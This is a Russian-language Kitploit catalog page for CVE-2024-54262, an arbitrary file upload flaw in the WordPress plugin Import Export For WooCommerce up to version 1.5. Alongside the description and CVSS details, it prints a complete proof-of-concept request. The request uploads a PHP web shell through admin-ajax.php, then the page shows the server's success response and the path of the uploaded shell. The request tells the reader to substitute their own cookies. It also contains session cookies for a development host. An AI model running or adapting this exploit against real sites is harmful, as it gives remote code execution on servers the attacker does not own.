Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2024-54262 — Import Export For WooCommerce <= 1.5 - Аутентифицированный (Подписчик+) произвольная загрузка файлов | Kitploit
Инструменты/GitHubGitHub/randomrobbiebf/cve-2024-54262
Генерация полезной нагрузкиАнализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на Проникновение
GitHubrandomrobbiebf/cve-2024-54262

CVE-2024-54262

Import Export For WooCommerce <= 1.5 - Аутентифицированный (Подписчик+) произвольная загрузка файлов

Репозиторий
1 год назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2024-54262

Import Export For WooCommerce <= 1.5 - Аутентифицированный (Подписчик+) Произвольная загрузка файлов

Описание

Плагин Import Export For WooCommerce для WordPress подвержен уязвимости произвольной загрузки файлов из-за отсутствия проверки типа файлов во всех версиях до 1.5 включительно. Это позволяет аутентифицированным злоумышленникам, имеющим доступ на уровне Подписчика и выше, загружать произвольные файлы на сервер уязвимого сайта, что может привести к удаленному выполнению кода.

Подробности

  • Type: плагин
  • Slug: import-export-for-woocommerce
  • Affected Version: 1.5
  • CVSS Score: 9.9
  • CVSS Rating: Критический
  • CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
  • CVE: CVE-2024-54262
  • Status: Активен

POC

Замените куки на свои.

root@kitploit:~
POST /wp-admin/admin-ajax.php HTTP/2
Host: wp-dev.ddev.site
Cookie: wordpress_sec_738b26438442006baf5dc1367e0c0fd7=superadmin%7C1734790221%7CenzNuyQN6cnP5g8Bmw6ZVil29WJCzcIc1bx3Z10l32r%7C31038bfa66d0777c50fba66263f613d288a20d1e14dfc0fc06903f77d1c9e41f; popup_time=2; alwaysStrip=1; _ga=GA1.2.1953252658.1732269795; _ga_16PD6PV48S=GS1.2.1732269795.1.0.1732270283.0.0.0; wp-settings-time-1=1734520301; wp-settings-1=libraryContent%3Dbrowse; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_738b26438442006baf5dc1367e0c0fd7=superadmin%7C1734790221%7CenzNuyQN6cnP5g8Bmw6ZVil29WJCzcIc1bx3Z10l32r%7C987ff9134b881efe3cced2fa12593fd0ba5b2b02613fb93f48433b112015551a; PHPSESSID=49f0a4bfb294cad31ed4a83ede9bf485; tk_ai=zv7IX5yQT%2F6RzXuKQwqmMvEV; tk_qs=
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:133.0) Gecko/20100101 Firefox/133.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://wp-dev.ddev.site/wp-admin/admin.php?page=sn-wie-products&tab=import
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=---------------------------22553230142285543514464898073
Content-Length: 1149
Origin: https://wp-dev.ddev.site
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Priority: u=0
Te: trailers

-----------------------------22553230142285543514464898073
Content-Disposition: form-data; name="action"

sn_wie_upload_product_csv_file
-----------------------------22553230142285543514464898073
Content-Disposition: form-data; name="upload_type"

file_upload
-----------------------------22553230142285543514464898073
Content-Disposition: form-data; name="upload_file"; filename="shell.php"
Content-Type: text/php

<?php shell_exec(id); ?>

-----------------------------22553230142285543514464898073
Content-Disposition: form-data; name="upload_url"


-----------------------------22553230142285543514464898073
Content-Disposition: form-data; name="import_columns"

all
-----------------------------22553230142285543514464898073
Content-Disposition: form-data; name="product_operation"

create_new_update_existing
-----------------------------22553230142285543514464898073
Content-Disposition: form-data; name="product_search_type"

SKU
-----------------------------22553230142285543514464898073
Content-Disposition: form-data; name="field_separator"


-----------------------------22553230142285543514464898073--
root@kitploit:~
{"status":true,"code":104,"message":"Success","data":{"file_name":"import_manual_1734619267.php","total_requests":0,"import_columns":"all","product_search_type":"SKU","product_operation":"create_new_update_existing","field_separator":","}}

wp-content/uploads/import-export-for-woocommerce/product/import_manual_1734619267.php

Скачать инструмент